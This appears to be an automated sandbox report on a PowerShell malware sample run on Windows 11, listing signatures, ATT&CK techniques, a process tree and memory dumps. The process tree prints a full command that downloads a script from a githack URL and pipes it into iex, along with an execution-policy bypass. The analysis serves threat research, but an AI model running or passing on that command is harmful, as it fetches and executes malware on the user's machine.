Analysis
- max time kernel
148s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 12:16
General
- Target a0aba2ff36a1.ps1
- Size 93KB
- Sample260924-pff3catbme
- SHA256 0acc12e3993609d539bb2c1c7f0543c7ca6b03158c9f8e265e57650a4f9d9ee2
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a0aba2ff36a1.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\54zo04rh\54zo04rh.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7594.tmp" "c:\Users\Admin\AppData\Local\Temp\54zo04rh\CSC132328E163B140C999B2EFC6DB639E2D.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m5i4m4tn\m5i4m4tn.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES77A7.tmp" "c:\Users\Admin\AppData\Local\Temp\m5i4m4tn\CSC3A0DE1895AA64B9AA444E2328A23EFB6.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/3fF2/723e2dbf470c/refs/heads/main/6238edc5cb99 | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
54zo04rh.dll
RES7594.tmp
RES77A7.tmp
__PSScriptPolicyTest_rht3v1pz.3ju.ps1
m5i4m4tn.dll
54zo04rh.0.cs
54zo04rh.cmdline
CSC132328E163B140C999B2EFC6DB639E2D.TMP
CSC3A0DE1895AA64B9AA444E2328A23EFB6.TMP
m5i4m4tn.0.cs
m5i4m4tn.cmdline
memory/3364-61-0x0000000005BE0000-0x0000000005F3B000-memory.dmp
memory/3364-54-0x0000000004BD0000-0x0000000004C06000-memory.dmp
memory/3364-55-0x0000000005350000-0x000000000599A000-memory.dmp
memory/3364-56-0x00000000052C0000-0x00000000052E2000-memory.dmp
memory/3364-57-0x0000000005A10000-0x0000000005A76000-memory.dmp
memory/3364-58-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/3364-62-0x0000000006080000-0x000000000609E000-memory.dmp
memory/3364-63-0x00000000060D0000-0x000000000611C000-memory.dmp
memory/3364-64-0x00000000077D0000-0x0000000007E4C000-memory.dmp
memory/3364-65-0x00000000065D0000-0x00000000065EA000-memory.dmp
memory/4672-14-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-52-0x0000022B3ECD0000-0x0000022B3ECD6000-memory.dmp
memory/4672-47-0x0000022B3EB30000-0x0000022B3EB3A000-memory.dmp
memory/4672-45-0x0000022B3EA50000-0x0000022B3EA6E000-memory.dmp
memory/4672-42-0x0000022B3E7C0000-0x0000022B3E7C8000-memory.dmp
memory/4672-29-0x0000022B3E7B0000-0x0000022B3E7B8000-memory.dmp
memory/4672-48-0x0000022B3ECB0000-0x0000022B3ECCE000-memory.dmp
memory/4672-25-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-22-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-0-0x00007FFED58CF000-0x00007FFED58D0000-memory.dmp
memory/4672-49-0x0000022B3EC90000-0x0000022B3EC9A000-memory.dmp
memory/4672-50-0x0000022B3ECF0000-0x0000022B3ED0C000-memory.dmp
memory/4672-51-0x0000022B3ECA0000-0x0000022B3ECA8000-memory.dmp
memory/4672-46-0x0000022B3EA70000-0x0000022B3EB22000-memory.dmp
memory/4672-53-0x0000022B3ECE0000-0x0000022B3ECEA000-memory.dmp
memory/4672-13-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-12-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-11-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-10-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-9-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-8-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-7-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-6-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-4-0x0000022B3E780000-0x0000022B3E7A2000-memory.dmp
memory/4672-5-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-3-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp
memory/4672-68-0x00007FFED5740000-0x00007FFED60E4000-memory.dmp